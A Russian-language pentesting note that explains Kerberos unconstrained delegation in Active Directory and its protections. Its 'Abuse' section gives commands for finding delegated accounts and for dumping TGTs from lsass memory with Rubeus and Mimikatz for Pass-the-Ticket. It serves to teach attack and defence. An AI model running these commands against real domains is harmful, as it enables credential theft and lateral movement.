# Unconstrained delegation

**all objects that have an `SPN` can be configured for delegation**

### Delegation process

<figure><img src="https://2456646545-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHXbTqf2wEMFmZSYy9461%2Fuploads%2FtRvx8T2tMvBIXskYn19q%2Fimage.png?alt=media&#x26;token=fcd092c1-8460-4388-8eb7-527a08946c60" alt=""><figcaption></figcaption></figure>

Разбор по шагам:

1. Подразумевается, что учетная запись User не является чувствительной к делегированию и не состоит в группе защищенных пользователей (флаг NOT\_DELEGATED не активен).
2. Сначала User, как уже было рассмотрено ранее, получает TGT в результате обмена [KRB AS REQ](https://ardent101.github.io/posts/kerberos_delegation/posts/kerberos_theory/#krb_as_req-%D1%81-%D0%BF%D1%80%D0%B5%D0%B4%D0%B2%D0%B0%D1%80%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D0%B9-%D0%B0%D1%83%D1%82%D0%B5%D0%BD%D1%82%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D0%B5%D0%B9) и [KRB AS REP](https://ardent101.github.io/posts/kerberos_theory/#krb_as_rep-ad) сообщениями.
3. Далее User запрашивает TGS-билет для доступа к Сервису А ([KRB TGS REQ](https://ardent101.github.io/posts/kerberos_theory/#krb_tgs_req-ad)).
4. KDC видит, что у Сервиса А установлен флаг “TRUSTED\_FOR\_DELEGATION”, разрешающий неограниченную делегацию, и поэтому в ответ User KDC отправляет TGS-билет с флагом ok-as-delegate.
5. Получив TGS-билет, User обнаруживает флаг ok-as-delegate и понимает, что ему необходимо передать свои учетные данные Сервису А. Для этого User снова обращается к KDC c просьбой выдать ему перенаправляемый (forwarded) TGT.
6. KDC выполняет необходимые проверки и отправляет User TGT с правом передачи.
7. User обращается к Сервису А с немного расширенным [KRB AP REQ](https://ardent101.github.io/posts/kerberos_theory/#krb_ap_req) сообщением. Теперь в аутентификаторе содержится не только метка времени и принципал клиента, но и перенаправляемый (forwarded) TGT вместе с сессионным ключом для общения с KDC.
8. Сервис А извлекает сессионный ключ для общения с User из TGS-билета, расшифровывает аутентификатор, выполняет проверки и сохраняет Forwarded TGT для User вместе с соответствующим указанному билету сессионным ключом.
9. С использованием полученных аутентификационных данных Сервис А получает TGS-билет к Сервису Б от имени User.

У учетной записи пользователя может быть установлен флаг NOT\_DELEGATED в атрибуте UserAccountControl, запрещающий олицетворение указанного пользователя.

По умолчанию флаг NOT\_DELEGATED отключен и устанавливается либо при активации опции “Account is sensitive and cannot be delegated”, либо при добавлении пользователя в группу “Protected Users”.

> Примечание: среди прочего члены группы “Protected Users” также не могут аутентифицироваться по NTLM, использовать DES или RC4 шифрование в Kerberos, обновлять TGT по истечении 4 часов и кэшировать учетные данные для входа в домен.

Чтобы учетная запись получила право на неограниченное делегирование в атрибуте *UserAccountControl* указанной учетной записи необходимо установить флаг *TRUSTED\_FOR\_DELEGATION*, которому соответствует целочисленное значение 524288. По умолчанию указанный флаг активен только у машинных учетных записей контроллеров домена.

Для изменения значения флага необходимо наличие привилегии *SeEnableDelegationPrivilege*, которой изначально обладают только учетные записи с правами уровня администратора домена.

### Abuse

<figure><img src="https://2456646545-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHXbTqf2wEMFmZSYy9461%2Fuploads%2Fp7Wk9hI0F8rUn7tvREQd%2Fimage.png?alt=media&#x26;token=8cb7547c-6d0c-498a-9ffb-b6d9ffd664b4" alt=""><figcaption></figcaption></figure>

### Search accounts with unconstrained delegation

**Вариант 1 - с помощью PowerShell модуля ADSI для работы с Active Directory**

Поиск среди всех учетных записей

```sh
([adsisearcher]'(userAccountControl:1.2.840.113556.1.4.803:=524288)').FindAll() 
```

**Вариант 2 - с помощью** [**FindDelegation.py**](https://github.com/SecureAuthCorp/impacket/blob/master/examples/findDelegation.py)**, входящего в Impacket**

Поиск среди всех учетных записей

```powershell
findDelegation.py -dc-ip $DC_IP $Domain_fqdn/$Username:$Password
```

**Вариант 3 - PowerView**

Поиск среди учетных записей класса компьютер

```powershell
Get-DomainComputer -Unconstrained
```

Поиск среди пользовательских учетных записей

```powershell
Get-DomainUser -TrustedToAuth
```

> Примечание: существует [py-аналог](https://github.com/the-useless-one/pywerview) PowerView для Linux

**Вариант 4 - Bloodhound**

Поиск среди учетных записей класса компьютер:

```powershell
match (c:Computer {unconstraineddelegation:true}) return c.name 
```

Поиск среди пользовательских учетных записей:

```powershell
match (u:User {unconstraineddelegation:true}) return u.name
```

**Вариант 5 - Ldapdomaindump после Relay**

Все приведенные выше способы требовали наличия прав пользователя, но также можно провести Relay атаку по протоколу LDAP на контроллер домена с последующим использованием Ldapdomaindump:

```sh
grep TRUSTED_FOR_DELEGATION domain_computers.grep
grep TRUSTED_FOR_DELEGATION domain_users.grep
```

Получив административный доступ к серверу с сервисом, обладающим неограниченным делегированием, атакующий может извлечь TGT учетных записей, проходивших аутентификацию к указанному сервису, из памяти процесса lsass.exe сервера.

Осуществить выгрузку можно с помощью Rubeus:

```powershell
Rubeus.exe dump /service:krbtgt /nowrap
```

Или при помощи Mimikatz:

```powershell
mimikatz # sekurlsa::tickets /export
```

Полученные TGT можно использовать для проведения атаки Pass-the-Ticket.
